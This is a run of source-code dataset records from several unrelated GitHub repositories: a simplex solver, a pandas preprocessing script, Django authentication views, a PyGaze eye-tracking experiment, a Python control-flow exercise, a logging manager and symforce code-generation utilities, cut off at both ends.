indice da coluna pivô\n pivot_fo = min(self.table[0]) # menor valor negativo na linha 0 (F.O) função objetivo\n self.pivot_column_index = self.table[0].index(pivot_fo)\n column = []\n for i in range(len(self.table)):\n column.append(self.table[i][self.pivot_column_index])\n return column\n def get_pivot_line(self, entry_column: list):# O indice identifica da linha que sai\n meta = {}\n for i, row in enumerate(self.table):\n if i > 0:\n if entry_column[i] > 0:\n meta[i] = row[-1] / entry_column[i]\n return min(meta, key=meta.get)\n def calculate_new_line(self, row: list, pivot_line: list):# Calcula a nova linha que será substituída na tabela row -> linha que será trocada pivot_line -> linha pivô\n pivot = row[self.pivot_column_index] * -1\n result_line = [pivot * value for value in pivot_line]\n new_line = list(map(lambda x, y: x + y, result_line, row))\n return new_line\n def calculate(self):\n column = self.get_entry_column()\n # linha que vai sair\n first_exit_line = self.get_pivot_line(column)\n line = self.table[first_exit_line]\n # identificando o pivo da linha que vai sair\n pivot = line[self.pivot_column_index]\n # calculando nova linha pivô\n pivot_line = list(map(lambda x: x / pivot, line))\n # substituindo a linha que saiu pela nova linha pivô\n self.table[first_exit_line] = pivot_line\n stack = self.table.copy()\n line_reference = len(stack) - 1\n while len(stack) > 0:\n row = stack.pop()\n if line_reference != first_exit_line:\n new_line = self.calculate_new_line(row, pivot_line)\n self.table[line_reference] = new_line\n line_reference -= 1\n def solve(self):\n self.normalize_table()\n self.calculate()\n while not self.is_optimal():\n self.calculate()\n return Table.get_results(self.table, self.coefficients)\n\nclass Table:\n @classmethod\n def _get_z(cls, table: list) -> int:\n for row in table:\n if row[0] == 1:\n return row[-1]\n return 0\n @classmethod\n def show_table(cls, table: list):\n for i in range(len(table)):\n for j in range(len(table[i])):\n print(f\"{table[i][j]}\\t\", end=\"\")\n print()\n @classmethod\n def _get_basic_vars(cls, table: list) -> list:\n basics = []\n for i in range(len(table[0])):\n basic = 0\n for j in range(len(table)):\n basic += abs(table[j][i])\n if basic == 1:\n basics.append(i)\n return basics\n @classmethod\n def get_results(cls, table: list, coefficients: list) -> (dict, dict):\n basics = cls._get_basic_vars(table)\n meta = {\"solution\": cls._get_z(table),}\n basics.remove(0)\n try:\n for index in basics:\n var = coefficients[index - 1]\n for j in range(len(table)):\n value = table[j][index]\n if value == 1:\n meta[var] = table[j][-1]\n break\n except Exception as e:\n pass\n for var in coefficients:\n if not var in meta:\n meta[var] = 0\n return meta\n","repo_name":"Birunda3000/Programacao-Matematica","sub_path":"simplex.py","file_name":"simplex.py","file_ext":"py","file_size_in_byte":7509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"30291566117","text":"import pandas\ndef action_first(file):\n action = pandas.read_csv(file)\n action.time = action.time.map(lambda x:x[:10])\n ck =action.groupby(['user_id','sku_id','time','type']).count().reset_index()\n ck =ck.drop(['model_id','cate'],axis=1)\n ck= ck.groupby(['user_id','sku_id','time','type'])['brand'].sum().unstack()\n ck = ck.reset_index().fillna(0)\n ck.to_csv('action_all.csv',index=False)\n return 'end to first'\n\nif __name__ == '__main__':\n print (action_first('../JData_Action_201602.csv'))","repo_name":"shenjiawei19/jd_competition","sub_path":"action/action_first.py","file_name":"action_first.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"24339914216","text":"from django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.forms import UserCreationForm, AuthenticationForm\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render, redirect\nfrom django.urls import reverse\n\n# Create your views here.\n\ndef register_view(request): \n\tif request.method == \"POST\":\n\t\tform = UserCreationForm(request.POST)\n\t\tif form.is_valid():\n\t\t\t# save the user details. form.save() returns the user to us.\n\t\t\tuser = form.save()\n\t\t\t#code to log user in goes here\n\t\t\tlogin(request, user)\n\t\t\treturn HttpResponseRedirect(\"/online_order\")\n\telse:\n\t\t# using django's inbuilt form\n\t\tform = UserCreationForm()\n\tcontext = {\n\t\t\"form\": form\n\t}\n\treturn render(request, \"accounts/register.html\", context)\n\ndef login_view(request):\n\t# GET request when rendeing the login form. \"POST\" request when submitting the form.\n\tif request.method == \"POST\":\n\t\tform = AuthenticationForm(data=request.POST)\n\t\tif form.is_valid():\n\t\t\t# code to log in the user goes here\n\t\t\t# no need to save as we're just validating and redirecting\n\t\t\tuser = form.get_user()\n\t\t\tlogin(request, user)\n\t\t\tif \"next\" in request.POST:\n\t\t\t\treturn HttpResponseRedirect(request.POST.get(\"next\"))\n\t\t\telse:\n\t\t\t\treturn HttpResponseRedirect(\"/online_order\")\n\telse:\n\t\tform = AuthenticationForm()\n\treturn render(request, \"accounts/login.html\", {\"form\": form})\n\ndef logout_view(request):\n\tif request.method == \"POST\":\n\t\t# not neccessary to pass in 'user' as django knows we're logged in\n\t\tlogout(request)\n\t\treturn HttpResponseRedirect(\"login\")\n\n@login_required(login_url=\"login\")\ndef user_view(request):\n\treturn render(request, \"accounts/user.html\")\n\ndef index(request):\n\tif not request.user.is_authenticated:\n\t\treturn render(request, \"users/login.html\", {\"message\": None})\n\tcontext = {\n\t\t\"user\": request.user\n\t}\n\treturn render(request, \"users/user.html\", context)\n\n# below code would be if not using django's forms\n\n# def login_view(request):\n# \tusername = request.POST[\"username\"]\n# \tpassword = request.POST[\"password\"]\n# \tuser = authenticate(request, username=username, password=password)\n# \tif user is not None:\n# \t\t#login is a django function\n# \t\tlogin(request, user)\n# \t\t#using \"HttpResponseRedirect\" rather than \"render\" takes us through the index function \n# \t\t#before rendering index.html and this is in case computation is required before rendering. \n# \t\t#reverse allows us to go from \"index\" ie the name of the route \"\" in urls.py without worrying\n# \t\t#about the url name and so would be valid even if url name were changed.\n# \t\treturn HttpResponseRedirect(reverse(\"index\"))\n# \telse:\n# \t\treturn render(request, \"users/login.html\", {\"message\": \"invalid credentials\"})\n\n# def logout_view(request):\n# \t#logout is a django function in django.contrib.auth\n# \tlogout(request)\n# \treturn render(request, \"users/login.html\", {\"message\": \"logged out\"})\n\n","repo_name":"vijay7979/proj3","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"14680188905","text":"import random\nimport string\nfrom constants import *\nfrom pygaze import libtime\nfrom pygaze.eyetracker import EyeTracker\nfrom pygaze.libinput import Keyboard\nfrom pygaze.liblog import Logfile\nfrom pygaze.libscreen import Display, Screen\n\n\ndef close_all(tracker, log, disp):\n if tracker.recording:\n tracker.stop_recording()\n tracker.close()\n log.close()\n disp.close()\n quit()\n\n\ndef check_key(disp, quitscr, prevscr, keylist=None, timeout=None):\n if kb.get_key(keylist=keylist, timeout=timeout)[0] == 'escape':\n disp.fill(quitscr)\n disp.show()\n if kb.get_key()[0] == 'y':\n close_all(tracker, log, disp)\n else:\n disp.fill(prevscr)\n disp.show()\n kb.get_key(keylist=keylist, timeout=timeout)\n\n\n# Initialize Display\ndisp = Display()\n\n# Initialize Logfile\nlog = Logfile()\nheader = ['trialnum', 'fixonset_ms', 'imgonset_ms', 'imgoffset_ms',\n 'presstime_ms', 'deltatime_ms', 'trueletter', 'userletter', 'sequence']\nlog.write(header)\n\n# Initialize Keyboard\nkb = Keyboard(keylist=None, timeout=None)\n\n# Initialize Screens\ninscr = Screen(fgc=COLORS['darkgreen'])\ninscr.draw_text(\n text='Instructions:\\nPress ENTER to pick a letter.\\n' +\n 'You may press ESCAPE at any time to end the program.\\n' +\n '(Press any key to continue)',\n fontsize=24)\n\npickscr = Screen(fgc=COLORS['darkgreen'])\npickscr.draw_text(\n text='What letter was on screen when you first decided to move?',\n fontsize=24)\n\nquitscr = Screen(fgc=COLORS['darkgreen'])\nquitscr.draw_text(text='Are you sure you want to quit (y/[n])?', fontsize=24)\n\nfixscr = Screen(fgc=COLORS['darkgreen'])\nfixscr.draw_fixation(fixtype='cross', pw=2, diameter=16)\n\nimgscr = Screen(fgc=COLORS['darkgreen'])\ntrialscr = Screen(fgc=COLORS['darkgreen'])\n\n# Initialise EyeTracker\ntracker = EyeTracker(disp)\ntracker.calibrate()\n\n\n''' START EXPERIMENT '''\n\n\n# Show instructions on Display then wait for key press\ndisp.fill(inscr)\ndisp.show()\ncheck_key(disp, quitscr, inscr)\n\n# Iterate through n trials\nfor n in range(1, TRIALS + 1):\n\n # Show trial number then wait for key press\n trialscr.clear()\n trialscr.draw_text(\n text='Trial #%s\\n' % n +\n 'wait until letters appear and press enter when ' +\n 'you feel the urge to.\\n(Press any key to begin)',\n fontsize=24)\n disp.fill(trialscr)\n disp.show()\n check_key(disp, quitscr, trialscr)\n\n # Start recording and display status message on EyeLink trackers\n tracker.start_recording()\n tracker.status_msg('Trial No.%s' % n)\n tracker.log('TRIAL %s START' % n)\n\n # Show fixation Screen on Display\n disp.fill(fixscr)\n fixonset = disp.show()\n tracker.log('FIXATION ONSET')\n check_key(disp, quitscr, fixscr, keylist=['escape'], timeout=FIXTIME)\n\n # list for storing letter sequence\n sequence = []\n\n # Variables for delayed loop termination\n afterpress = -1\n keysave = None\n\n # list of randomized alphabet to iterate through\n alpha = ''.join(random.sample(string.ascii_lowercase, 26))\n\n # Show alphabet Screen on Display\n for i in range(26):\n\n # append letter to sequence list\n sequence.append(alpha[i])\n\n # Check if pressed\n if afterpress > 0:\n afterpress -= 1\n elif afterpress == 0:\n break\n\n # Display letter\n imgscr.clear()\n imgscr.draw_text(text=alpha[i], fontsize=64)\n disp.fill(imgscr)\n if afterpress == -1:\n imgonset = disp.show()\n else:\n disp.show()\n tracker.log('IMAGE ONSET, letter=%s' % alpha[i])\n\n # Handle input\n key, press = kb.get_key(keylist=['return', 'escape'],\n timeout=IMGTIME[i])\n if key == 'return':\n keysave = key\n presstime = press\n deltatime = presstime - imgonset\n trueletter = alpha[i]\n afterpress = 2\n tracker.log('ACTION RECORDED, delta_t=%.2f ms' % deltatime)\n libtime.pause(int(IMGTIME[i] - deltatime))\n if key == 'escape':\n disp.fill(quitscr)\n disp.show()\n if kb.get_key()[0].lower() == 'y':\n close_all(tracker, log, disp)\n\n # Clear Display\n disp.fill()\n if afterpress == 2 or afterpress == -1:\n imgoffset = disp.show()\n else:\n disp.show()\n tracker.log('IMAGE OFFSET, letter=%s, imgtime=%ims' % (alpha[i], int(IMGTIME[i])))\n\n # Ask participant for the letter they picked and log trial\n if keysave is not None: # TODO: tests needed\n keysave = None\n disp.fill(pickscr)\n disp.show()\n userletter = kb.get_key()[0]\n log.write([n, fixonset, imgonset, imgoffset, presstime,\n deltatime, trueletter, userletter, sequence])\n else:\n log.write([n, fixonset, 'NaN', 'NaN', 'NaN',\n 'NaN', 'NaN', 'NaN', sequence])\n\n # Log the end of trial\n tracker.log('TRIAL %s END' % n)\n tracker.stop_recording()\n\n# Notify end to participant then wait for key press\ninscr.clear()\ninscr.draw_text(text='All done!\\n(Press any key to exit)', fontsize=24)\ndisp.fill(inscr)\ndisp.show()\nkb.get_key()\n\n# Close connection to eye tracker and Display\nclose_all(tracker, log, disp)\n","repo_name":"andylikescodes/EYE","sub_path":"experiment.py","file_name":"experiment.py","file_ext":"py","file_size_in_byte":5437,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"34"} +{"seq_id":"37504456880","text":"#Exercise 3: I Came, I 'Saur, I Conquered\n# If T-Rex is angry, hungry, and bored he will eat the Triceratops.\n# Otherwise if T-Rex is tired and hungry, he will eat the Iguanadon.\n# Otherwise if T-Rex is hungry and bored, he will eat the Stegasaurus.\n# Otherwise if T-Rex is tired, he goes to sleep.\n# Otherwise if T-Rex is angry and bored, he will fight with the Velociraptor.\n# Otherwise if T-Rex is angry or bored, he roars.\n# Otherwise T-Rex gives a toothy smile.\n\nangry = False\nbored = True #change this for every statement\nhungry = False\ntired = False\n\nif angry and hungry and bored:\n print('he will eat the Triceratops.')\nelif tired and hungry:\n print('he will eat the Iguanadon.')\nelif hungry and bored:\n print('he will eat the Stegasaurus.')\nelif tired:\n print('he goes to sleep.')\nelif angry and bored:\n print('he will fight with the Velociraptor.')\nelif angry or bored:\n print('he roars.')\nelse:\n print('T-Rex gives a toothy smile.') ","repo_name":"sajithgowthaman/GA---All-Exercises-","sub_path":"hw-03-control-flow/exercise3.py","file_name":"exercise3.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"34026375647","text":"from __future__ import division, print_function, absolute_import\n\nimport os\nimport logging\nfrom datetime import datetime\n\nfrom ..modules.patterns import Singleton\n\n\nclass SilenceableStreamHandler(logging.StreamHandler):\n def __init__(self, *args, **kwargs):\n super(SilenceableStreamHandler, self).__init__(*args, **kwargs)\n self.silenced = False\n\n def emit(self, record):\n if not self.silenced:\n super(SilenceableStreamHandler, self).emit(record)\n\n\nclass SilenceableFileHandler(logging.FileHandler):\n def __init__(self, *args, **kwargs):\n super(SilenceableFileHandler, self).__init__(*args, **kwargs)\n self.silenced = False\n\n def emit(self, record):\n if not self.silenced:\n super(SilenceableFileHandler, self).emit(record)\n\n\nclass LoggingMgr(object):\n \"\"\"The logging manager :class:`.Singleton` class.\n\n The logger manager can be included as a member to any class to\n manager logging of information. Each logger is identified by\n the module id (`mid`), with which the logger settings can be\n changed.\n\n By default a logger with log level LOG_INFO that is output to the stdout\n is created.\n\n Attributes\n ----------\n LOG_TYPE_STREAM=0\n Log only to output stream (stdout).\n LOG_TYPE_FILE=1\n Log only to an output file.\n LOG_TYPE_ALL=2\n Log to both output stream (stdout) and file.\n LOG_DEBUG=10\n Detailed information, typically of interest only when diagnosing problems.\n LOG_INFO=20\n Confirmation that things are working as expected.\n LOG_WARNING=30\n An indication that something unexpected happened, or indicative\n of some problem in the near future. The software is still working as expected.\n LOG_ERROR=40\n Due to a more serious problem, the software has not been able to perform some\n function.\n LOG_CRITICAL=50\n A serious error, indicating that the problem itself may be unable to continue\n running.\n\n See Also\n --------\n :mod:`logging`\n\n Examples\n --------\n >>> from mlpy.tools.log import LoggingMgr\n >>> logger = LoggingMgr().get_logger('my_id')\n >>> logger.info('This is a useful information.')\n\n This gets a new logger. If a logger with the module id `my_id` already exists\n that logger will be returned, otherwise a logger with the default settings is\n created.\n\n >>> LoggingMgr().add_handler('my_id', htype=LoggingMgr.LOG_TYPE_FILE)\n\n This adds a new handler for the logger with module id `my_id` writing the logs\n to a file.\n\n >>> LoggingMgr().remove_handler('my_id', htype=LoggingMgr.LOG_TYPE_STREAM)\n\n This removes the stream handler from the logger with module id `my_id`.\n\n >>> LoggingMgr().change_level('my_id', LoggingMgr.LOG_TYPE_ALL, LoggingMgr.LOG_DEBUG)\n\n This changes the log level for all attached handlers of the logger identified by\n `my_id` to LOG_DEBUG.\n\n \"\"\"\n __metaclass__ = Singleton\n\n LOG_TYPE_STREAM = 0\n LOG_TYPE_FILE = 1\n LOG_TYPE_ALL = 2\n\n LOG_DEBUG = logging.DEBUG\n LOG_INFO = logging.INFO\n LOG_WARNING = logging.WARNING\n LOG_ERROR = logging.ERROR\n LOG_CRITICAL = logging.CRITICAL\n\n def __init__(self):\n self._loggers = {}\n self._verbosity = {}\n self._filename = None\n\n def get_verbosity(self, mid):\n \"\"\" Gets the verbosity.\n\n The current setting of the verbosity of the logger identified\n by `mid` is returned.\n\n Parameters\n ----------\n mid : str\n The module id of the logger to change the verbosity of.\n\n Returns\n -------\n bool :\n Whether to turn the verbosity on or off.\n\n \"\"\"\n return self._verbosity[mid]\n\n def set_verbosity(self, mid, value):\n \"\"\"Sets the verbosity.\n\n Turn logging on/off for logger identified by `mid`.\n\n Parameters\n ----------\n mid : str\n The module id of the logger to change the verbosity of.\n value : bool\n Whether to turn the verbosity on or off.\n\n \"\"\"\n handlers = self._loggers[mid].handlers\n for hdl in handlers:\n hdl.silenced = value\n\n def get_logger(self, mid, level=LOG_INFO, htype=LOG_TYPE_STREAM, fmt=None, verbose=True, filename=None):\n \"\"\"Get the logger instance with the identified `mid`.\n\n If a logger with the `mid` does not exist, a new logger will be created with the given settings.\n By default only a stream handler is attached to the logger.\n\n Parameters\n ----------\n mid : str\n The module id of the logger.\n level : int, optional\n The top level logging level. Default is LOG_INFO.\n htype : int, optional\n The logging type of handler. Default is LOG_TYPE_STREAM.\n fmt : str, optional\n The format in which the information is presented.\n Default is \"[%(levelname)-8s ] %(name)s: %(funcName)s: %(message)s\"\n verbose : bool, optional\n The verbosity setting of the logger. Default is True\n filename : str, optional\n The name of the file the file handler writes the logs to.\n Default is a generated filename.\n\n Returns\n -------\n The logging instance.\n\n \"\"\"\n if mid not in self._loggers:\n logger = logging.getLogger(mid)\n logger.setLevel(level)\n self._loggers[mid] = logger\n self._verbosity[mid] = verbose if verbose is not None else True\n self.add_handler(mid, htype, level, fmt, filename)\n return self._loggers[mid]\n\n def add_handler(self, mid, htype=LOG_TYPE_STREAM, hlevel=LOG_INFO, fmt=None, filename=None):\n \"\"\"Add a handler to the logger.\n\n Parameters\n ----------\n mid : str\n The module id of the logger\n htype : int, optional\n The logging type to add to the handler. Default is LOG_TYPE_STREAM.\n hlevel : int, optional\n The logging level. Default is LOG_INFO.\n fmt : str, optional\n The format in which the information is presented.\n Default is \"[%(levelname)-8s ] %(name)s: %(funcName)s: %(message)s\"\n filename : str, optional\n The name of the file the file handler writes the logs to.\n Default is a generated filename.\n\n \"\"\"\n if fmt is None:\n fmt = \"[%(levelname)-8s ] %(name)s: %(funcName)s: %(message)s\"\n formatter = logging.Formatter(fmt)\n\n if htype == self.LOG_TYPE_STREAM or htype == self.LOG_TYPE_ALL:\n handler = SilenceableStreamHandler()\n self._add_handler(mid, hlevel, handler, formatter)\n\n if htype == self.LOG_TYPE_FILE or htype == self.LOG_TYPE_ALL:\n if self._filename is None:\n if not os.path.exists(\"logs\"):\n os.makedirs(\"logs\")\n dt = datetime.now().strftime(\"%Y-%m-%d %H-%M-%S\")\n self._filename = \"logs\\logfile \" + dt + \".log\"\n filename = filename if filename is not None else self._filename\n\n handler = SilenceableFileHandler(filename)\n self._add_handler(mid, hlevel, handler, formatter)\n\n def remove_handler(self, mid, htype):\n \"\"\"Remove handlers.\n\n Removes all handlers of the given handler type from the logger.\n\n Parameters\n ----------\n mid : str\n The module id of the logger\n htype : int\n The logging type to remove from the handler.\n\n \"\"\"\n handlers = self._loggers[mid].handlers\n for hdl in handlers:\n if htype == self.LOG_TYPE_FILE and isinstance(hdl, logging.FileHandler):\n self._loggers[mid].removeHandler(hdl)\n elif htype == self.LOG_TYPE_STREAM and isinstance(hdl, logging.StreamHandler):\n self._loggers[mid].removeHandler(hdl)\n\n def change_level(self, mid, hlevel, htype=LOG_TYPE_ALL):\n \"\"\"Set the log level for a handler.\n\n Parameters\n ----------\n mid : str\n The module id of the logger\n hlevel : int\n The logging level.\n htype : int, optional\n The logging type of handler for which to change the\n log level. Default is LOG_TYPE_ALL.\n\n \"\"\"\n handlers = self._loggers[mid].handlers\n if hlevel < self._loggers[mid].level:\n self._loggers[mid].level = hlevel\n\n for hdl in handlers:\n if htype == self.LOG_TYPE_ALL:\n hdl.level = hlevel\n elif htype == self.LOG_TYPE_FILE and isinstance(hdl, logging.FileHandler):\n hdl.level = hlevel\n elif htype == self.LOG_TYPE_STREAM and isinstance(hdl, logging.StreamHandler):\n hdl.level = hlevel\n\n def _add_handler(self, mid, hlevel, handler, formatter):\n handler.setLevel(hlevel)\n handler.setFormatter(formatter)\n self._loggers[mid].addHandler(handler)\n","repo_name":"evenmarbles/mlpy","sub_path":"mlpy/tools/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":9057,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"34"} +{"seq_id":"13744144091","text":"from __future__ import annotations\n\nimport dataclasses\nimport importlib.abc\nimport importlib.util\nimport itertools\nimport sys\nfrom pathlib import Path\n\nimport sympy\n\nimport symforce\nimport symforce.symbolic as sf\nfrom symforce import _sympy_count_ops\nfrom symforce import ops\nfrom symforce import typing as T\nfrom symforce import typing_util\nfrom symforce.codegen import codegen_config\nfrom symforce.codegen import format_util\nfrom symforce.values import IndexEntry\nfrom symforce.values import Values\n\nNUMPY_DTYPE_FROM_SCALAR_TYPE = {\"double\": \"numpy.float64\", \"float\": \"numpy.float32\"}\n# Type representing generated code (list of lhs and rhs terms)\nT_terms = T.Sequence[T.Tuple[sf.Symbol, sf.Expr]]\nT_nested_terms = T.Sequence[T_terms]\nT_terms_printed = T.Sequence[T.Tuple[str, str]]\n\n\nclass DenseAndSparseOutputTerms(T.NamedTuple):\n dense: T.List[T.List[sf.Expr]]\n sparse: T.List[T.List[sf.Expr]]\n\n\nclass OutputWithTerms(T.NamedTuple):\n name: str\n type: T.Element\n terms: T_terms_printed\n\n\nclass PrintCodeResult(T.NamedTuple):\n intermediate_terms: T_terms_printed\n dense_terms: T.List[OutputWithTerms]\n sparse_terms: T.List[OutputWithTerms]\n total_ops: int\n\n\n@dataclasses.dataclass\nclass CSCFormat:\n \"\"\"\n A matrix written in Compressed Sparse Column format.\n \"\"\"\n\n kRows: int # Number of rows\n kCols: int # Number of columns\n kNumNonZero: int # Number of nonzero entries\n kColPtrs: T.List[int] # nonzero_elements[kColPtrs[col]] is the first nonzero entry of col\n kRowIndices: T.List[int] # row indices of nonzero entries written in column-major order\n nonzero_elements: T.List[sf.Scalar] # nonzero entries written in column-major order\n\n @staticmethod\n def from_matrix(sparse_matrix: sf.Matrix) -> CSCFormat:\n \"\"\"\n Returns a dictionary with the metadata required to represent a matrix as a sparse matrix\n in CSC form.\n\n Args:\n sparse_matrix: A symbolic :class:`sf.Matrix ` where sparsity\n is given by exact zero equality.\n \"\"\"\n kColPtrs = []\n kRowIndices = []\n nonzero_elements = []\n data_inx = 0\n # Loop through columns because we assume CSC form\n for j in range(sparse_matrix.shape[1]):\n kColPtrs.append(data_inx)\n for i in range(sparse_matrix.shape[0]):\n if sparse_matrix[i, j] == 0:\n continue\n kRowIndices.append(i)\n nonzero_elements.append(sparse_matrix[i, j])\n data_inx += 1\n kColPtrs.append(data_inx)\n\n return CSCFormat(\n kRows=sparse_matrix.rows,\n kCols=sparse_matrix.cols,\n kNumNonZero=len(nonzero_elements),\n kColPtrs=kColPtrs,\n kRowIndices=kRowIndices,\n nonzero_elements=nonzero_elements,\n )\n\n def to_matrix(self) -> sf.Matrix:\n \"\"\"\n Returns a dense matrix representing this CSC sparse matrix.\n \"\"\"\n dense_matrix = sf.M.zeros(self.kRows, self.kCols)\n for j in range(self.kCols):\n end_inx = self.kColPtrs[j + 1] if j + 1 < self.kCols else self.kNumNonZero\n for k in range(self.kColPtrs[j], end_inx):\n dense_matrix[self.kRowIndices[k], j] = self.nonzero_elements[k]\n return dense_matrix\n\n\ndef print_code(\n inputs: Values,\n outputs: Values,\n sparse_mat_data: T.Dict[str, CSCFormat],\n config: codegen_config.CodegenConfig,\n cse: bool = True,\n) -> PrintCodeResult:\n \"\"\"\n Return executable code lines from the given input/output values.\n\n Args:\n inputs: Values object specifying names and symbolic inputs\n outputs: Values object specifying names and output expressions (written in terms\n of the symbolic inputs)\n sparse_mat_data: Data associated with sparse matrices. ``sparse_mat_data[\"keys\"]`` stores\n a list of the keys in outputs which should be treated as sparse matrices\n config: Programming language and configuration in which the expressions are to be generated\n cse: Perform common sub-expression elimination\n\n Returns:\n T.List[T.Tuple[str, str]]: Line of code per temporary variable\n T.List[OutputWithTerms]: Collection of lines of code per dense output variable\n T.List[OutputWithTerms]: Collection of lines of code per sparse output variable\n int: Total number of ops\n \"\"\"\n # Split outputs into dense and sparse outputs, since we treat them differently when doing codegen\n dense_outputs = Values()\n sparse_outputs = Values()\n for key, value in outputs.items():\n if key in sparse_mat_data:\n sparse_outputs[key] = sparse_mat_data[key].nonzero_elements\n else:\n dense_outputs[key] = value\n\n output_exprs = DenseAndSparseOutputTerms(\n dense=[ops.StorageOps.to_storage(value) for key, value in dense_outputs.items()],\n sparse=[ops.StorageOps.to_storage(value) for key, value in sparse_outputs.items()],\n )\n\n # CSE If needed\n if cse:\n temps, simplified_outputs = perform_cse(\n output_exprs=output_exprs,\n cse_optimizations=config.cse_optimizations,\n )\n else:\n temps = []\n simplified_outputs = output_exprs\n\n # Replace default symbols with vector notation (e.g. \"R_re\" -> \"_R[0]\")\n temps_formatted, dense_outputs_formatted, sparse_outputs_formatted = format_symbols(\n inputs=inputs,\n dense_outputs=dense_outputs,\n sparse_outputs=sparse_outputs,\n intermediate_terms=temps,\n output_terms=simplified_outputs,\n config=config,\n )\n\n simpify_list = lambda lst: [sympy.S(term) for term in lst]\n simpify_nested_lists = lambda nested_lsts: [simpify_list(lst) for lst in nested_lsts]\n\n temps_formatted = simpify_list(temps_formatted)\n dense_outputs_formatted = simpify_nested_lists(dense_outputs_formatted)\n sparse_outputs_formatted = simpify_nested_lists(sparse_outputs_formatted)\n\n def count_ops(expr: T.Any) -> int:\n op_count = _sympy_count_ops.count_ops(expr)\n assert isinstance(op_count, int)\n return op_count\n\n total_ops = (\n count_ops(temps_formatted)\n + count_ops(dense_outputs_formatted)\n + count_ops(sparse_outputs_formatted)\n )\n\n # Get printer\n printer = config.printer()\n\n # Print code\n intermediate_terms = [(str(var), printer.doprint(t)) for var, t in temps_formatted]\n dense_outputs_code_no_names = [\n [(str(var), printer.doprint(t)) for var, t in single_output_terms]\n for single_output_terms in dense_outputs_formatted\n ]\n sparse_outputs_code_no_names = [\n [(str(var), printer.doprint(t)) for var, t in single_output_terms]\n for single_output_terms in sparse_outputs_formatted\n ]\n\n # Pack names and types with outputs\n dense_terms = [\n OutputWithTerms(key, value, output_code_no_name)\n for output_code_no_name, (key, value) in zip(\n dense_outputs_code_no_names, dense_outputs.items()\n )\n ]\n sparse_terms = [\n OutputWithTerms(key, value, sparse_output_code_no_name)\n for sparse_output_code_no_name, (key, value) in zip(\n sparse_outputs_code_no_names, sparse_outputs.items()\n )\n ]\n\n return PrintCodeResult(\n intermediate_terms=intermediate_terms,\n dense_terms=dense_terms,\n sparse_terms=sparse_terms,\n total_ops=total_ops,\n )\n\n\ndef perform_cse(\n output_exprs: DenseAndSparseOutputTerms,\n cse_optimizations: T.Union[\n T.Literal[\"basic\"], T.Sequence[T.Tuple[T.Callable, T.Callable]]\n ] = None,\n) -> T.Tuple[T_terms, DenseAndSparseOutputTerms]:\n \"\"\"\n Run common sub-expression elimination on the given input/output values.\n\n Args:\n output_exprs: expressions on which to perform cse\n cse_optimizations: optimizations to be forwarded to :func:`sf.cse `\n\n Returns:\n T_terms: Temporary variables holding the common sub-expressions found within output_exprs\n DenseAndSparseOutputTerms: output_exprs, but in terms of the returned temporaries.\n \"\"\"\n # Perform CSE\n flat_output_exprs = [\n x for storage in (output_exprs.dense + output_exprs.sparse) for x in storage\n ]\n\n def tmp_symbols() -> T.Iterable[sf.Symbol]:\n for i in itertools.count():\n yield sf.Symbol(f\"_tmp{i}\")\n\n if cse_optimizations is not None:\n if symforce.get_symbolic_api() == \"symengine\":\n raise ValueError(\"cse_optimizations is not supported on symengine\")\n\n temps, flat_simplified_outputs = sf.cse(\n flat_output_exprs, symbols=tmp_symbols(), optimizations=cse_optimizations\n )\n else:\n temps, flat_simplified_outputs = sf.cse(flat_output_exprs, symbols=tmp_symbols())\n\n # Unflatten output of CSE\n simplified_outputs = DenseAndSparseOutputTerms(dense=[], sparse=[])\n flat_i = 0\n for storage in output_exprs.dense:\n simplified_outputs.dense.append(flat_simplified_outputs[flat_i : flat_i + len(storage)])\n flat_i += len(storage)\n for storage in output_exprs.sparse:\n simplified_outputs.sparse.append(flat_simplified_outputs[flat_i : flat_i + len(storage)])\n flat_i += len(storage)\n\n return temps, simplified_outputs\n\n\ndef format_symbols(\n inputs: Values,\n dense_outputs: Values,\n sparse_outputs: Values,\n intermediate_terms: T_terms,\n output_terms: DenseAndSparseOutputTerms,\n config: codegen_config.CodegenConfig,\n) -> T.Tuple[T_terms, T_nested_terms, T_nested_terms]:\n \"\"\"\n Reformats symbolic variables used in intermediate and outputs terms to match structure of\n inputs/outputs.\n\n For example, if we have an input array ``\"arr\"`` with symbolic elements ``[arr0, arr1]``,\n we will remap symbol ``\"arr0\"`` to ``\"arr[0]\"`` and symbol ``\"arr1\"`` to ``\"arr[1]\"``.\n \"\"\"\n # Rename the symbolic inputs so that they match the code we generate\n\n formatted_input_args, original_args = get_formatted_list(inputs, config, format_as_inputs=True)\n input_subs = dict(\n zip(\n itertools.chain.from_iterable(original_args),\n itertools.chain.from_iterable(formatted_input_args),\n )\n )\n\n intermediate_terms_formatted = list(\n zip(\n (lhs for lhs, _ in intermediate_terms),\n ops.StorageOps.subs(\n [rhs for _, rhs in intermediate_terms], input_subs, dont_flatten_args=True\n ),\n )\n )\n\n dense_output_lhs_formatted, _ = get_formatted_list(\n dense_outputs, config, format_as_inputs=False\n )\n dense_output_terms_formatted = [\n list(zip(lhs_formatted, subbed_storage))\n for lhs_formatted, subbed_storage in zip(\n dense_output_lhs_formatted,\n ops.StorageOps.subs(output_terms.dense, input_subs, dont_flatten_args=True),\n )\n ]\n\n sparse_output_lhs_formatted = get_formatted_sparse_list(sparse_outputs)\n sparse_output_terms_formatted = [\n list(zip(lhs_formatted, subbed_storage))\n for lhs_formatted, subbed_storage in zip(\n sparse_output_lhs_formatted,\n ops.StorageOps.subs(output_terms.sparse, input_subs, dont_flatten_args=True),\n )\n ]\n\n return intermediate_terms_formatted, dense_output_terms_formatted, sparse_output_terms_formatted\n\n\ndef get_formatted_list(\n values: Values, config: codegen_config.CodegenConfig, format_as_inputs: bool\n) -> 